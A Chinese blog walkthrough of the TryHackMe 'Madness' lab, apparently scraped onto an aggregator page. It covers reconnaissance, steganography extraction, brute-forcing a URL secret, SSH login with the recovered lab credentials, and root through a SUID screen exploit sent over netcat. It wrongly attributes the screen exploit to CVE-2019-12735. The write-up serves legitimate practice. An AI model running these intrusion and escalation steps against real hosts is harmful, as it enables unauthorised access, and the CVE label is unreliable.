当前位置: 首页 > news >正文

Madness - TryHackMe

Madness - TryHackMe

一、信息收集

使用nmap对网站ip端口开放进行探测

nmap -sS -sV -A  -Pn 10.10.35.188

image-20250914175602747

这里开放了一个22端口和80端口访问一下

image-20250914175718992

是个配置目录 使用dirsearch看看还有没有其他隐藏页面

dirsearch -u http://10.10.35.188/ -e php,html,txt -t 100 

image-20250914180655393

这里有个登录页面登录显示NotFound

image-20250914180801809

二、渗透利用

无法了先看看首页的源码吧 右键查看源代码

image-20250914181035617

这里有个图片 thm.jpg 访问一下显示图片已经损坏了,我们把他下载下来仔细研究一下

image-20250914181234630

这里就很奇怪,这个文件是jpg结尾但是文件二进制格式确实png

image-20250914181727674

我们把开头改回来

image-20250914182055388

改后

image-20250914182423188

修改完后使用xdg-open 查看告诉我们下面有个隐藏的目录访问看看

image-20250914182503195

hidden directory/th1s_1s_h1dd3n

image-20250914182753448

这里说要输入他的秘密,先右键查看源代码这里给了我们一段提示说是介于0~99之间

image-20250914182858515

在url后面添加上/?secret=1 即可输入秘密

image-20250914183128570

这里先用yakit抓个包爆破一下吧

image-20250914183602763

在第73个这里成功输入他的秘密

y2RPJ4QaPF!B

三、隐写术

我们使用steghide extract -sf thm.jpg 输入我们得到的得到的密码成功提取出一段隐藏的文本

image-20250914184037843

这里使用这个账户和上面那个密码还是无法登录,可能还另藏玄机,我们注意到我们房间首页上面还有一张图片,新建链接,将他下载下来

image-20250914192033694

我这里继续使用steghide提取然后没输入密码就出来了 啊?我还验证了一下, 不管了文件下面出现了我们想要的密码登录看一下

 steghide extract -sf '5iW7kC8 - Imgur.jpg'  *axA&GF8dP

image-20250914193440486

这里尝试登录ssh怎么死活都登不上去看了一下wp前面那个用户名是用了ROT13编码后的 真正的用户名是joker 这回真成joker了

image-20250914194147326

换了一个用户名也是成功登录了

image-20250914194340789

四、提权

这里我看了 sudo --l 无法使用 计划任务也没有 只能从suid文件入手了

find / -perm -4000 -type f 2>/dev/null

image-20250914200827848

screen 存在历史漏洞(CVE-2019-12735)允许本地用户利用 SUID screen 提权到 root

image-20250914200912614

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/screen_exp.sh                          ✔ 
chmod +x ~/tryhackme/screen_exp.sh

再使用nc将这个文件反弹回靶机

nc 靶机ip 4444 < screen_exp.sh
nc -lvnp 4444 > exp.sh

本地就会生成一个exp.sh的文件然后运行他

./exp.sh

接着本地会生成一个rootshell的文件然后在使用这个文件

rootshell

image-20250914204601674

http://www.hskmm.com/?act=detail&tid=4512

相关文章:

  • hahasim 香港手机卡 没信号 解决
  • 机器人逆运动学进阶:李代数、矩阵指数与旋转流形计算
  • HTML基础
  • 第一周博文
  • CSP-S模拟21
  • 【System Beats!】第二章 信息的表示与处理
  • ZR 25 noip D3T2 题解 | 构造、数学
  • 9. LangChain4j + 整合 Spring Boot - Rainbow
  • gcc
  • 在企业内部分发 iOS App 时如何生成并应用 manifest.plist
  • CSP2025 游记
  • Luogu P14031 【MX-X20-T5】「FAOI-R7」连接时光 II
  • 第一周预习作业
  • 计算机大数据毕业设计推荐:基于Spark的新能源汽车保有量可视化分析系统 - 指南
  • csp 2025 油迹
  • 完整教程:JMeter基本介绍
  • []
  • rv
  • Source Insight 4.0安装和使用教程
  • EF Core 介绍与入门实操
  • jdk8.0中导入新证书
  • ORA-00800
  • 50期权日内交易技巧 - 指南
  • 使用overleaf编写中文
  • 9.13 CSP-S模拟21 改题记录
  • Vulkan API 创建并渲染一个辐照度立方体贴图,用于 PBR 光照计算
  • 使用Putty远程连接树莓派5提示No supported authentication methods available
  • Acrobat Pro DC 2025破解版安装下载教程,附永久免费免中文破解版(稳定版安装包)
  • [USACO24FEB] Maximizing Productivity
  • 记录一个纯CSS实现滚动驱动动画的效果